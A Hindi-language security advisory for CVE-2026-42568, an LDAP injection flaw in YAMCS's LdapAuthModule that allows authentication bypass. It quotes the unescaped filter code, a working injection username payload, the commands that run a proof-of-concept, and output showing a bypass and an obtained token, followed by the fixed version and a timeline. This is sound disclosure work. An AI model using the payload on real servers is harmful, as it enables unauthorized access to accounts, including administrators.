
org.yamcs.security.LdapAuthModule में एक LDAP इंजेक्शन कमजोरी मौजूद है। उपयोगकर्ता नाम पैरामीटर को RFC 4515 एस्केपिंग के बिना सीधे LDAP खोज फ़िल्टर में डाला जाता है, जिससे प्रमाणीकरण बायपास संभव होता है।
| क्षेत्र | मान |
|---|
| CVE | CVE-2026-42568 |
| गंभीरता | मध्यम |
| CWE | CWE-90: LDAP क्वेरी में विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन |
| प्रभावित | yamcs-core < 5.12.7 (LDAP प्रमाणीकरण कॉन्फ़िगर किए जाने पर) |
| इसमें ठीक किया गया | yamcs-core 5.12.7 |
| परामर्श | GHSA-cqh3-jg8p-336j |
मूल कारण (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
एक सामान्य userFilter (uid={0}) के साथ, एक दुर्भावनापूर्ण उपयोगकर्ता नाम फ़िल्टर संरचना को तोड़ता है:
इनपुट: *)(uid=*))(|(uid=*
फ़िल्टर: (uid=*)(uid=*))(|(uid=*)
परिणाम: सार्वभौमिक मिलान — प्रमाणीकरण बाईपास हो गया
pip install requests
python3 poc.py http://localhost:8090
कमजोर इंस्टेंस पर अपेक्षित आउटपुट (LDAP कॉन्फ़िगर के साथ):
[1] सार्वभौमिक बाईपास (कोई भी खाता)
उपयोगकर्ता नाम: *)(uid=*))(|(uid=*
पासवर्ड: anything
परिणाम: HTTP 200
[!!!] प्रमाणीकरण बाईपास हो गया
[!!!] टोकन प्राप्त हुआ: eyJhbGciOiJSUzI1NiJ9...
नोट: यह भेद्यता केवल YAMCS इंस्टेंस को प्रभावित करती है जिनमें
LdapAuthModuleकॉन्फ़िगर किया गया है। बिल्ट-इन प्रमाणीकरण का उपयोग करने वाले डिफ़ॉल्ट इंस्टॉलेशन प्रभावित नहीं होते हैं।
एक अप्रमाणित हमलावर जो YAMCS सर्वर तक पहुंच सकता है, जब LDAP प्रमाणीकरण कॉन्फ़िगर किया जाता है, तो वह पूरी तरह से प्रमाणीकरण को बाईपास कर सकता है, और प्रशासकों सहित किसी भी उपयोगकर्ता के रूप में पहुंच प्राप्त कर सकता है।
yamcs-core >= 5.12.7 में अपग्रेड करें।
फिक्स LDAP फ़िल्टर बनाने से पहले उपयोगकर्ता नाम पर RFC 4515 एस्केपिंग लागू करता है।
| दिनांक | घटना |
|---|---|
| 2026-05 | भेद्यता की सूचना दी गई |
| 2026-05-26 | yamcs-core 5.12.7 में फिक्स जारी किया गया |
| 2026-05-26 | सार्वजनिक परामर्श प्रकाशित किया गया |
Daniel Miranda Barcelona (Excal1bur)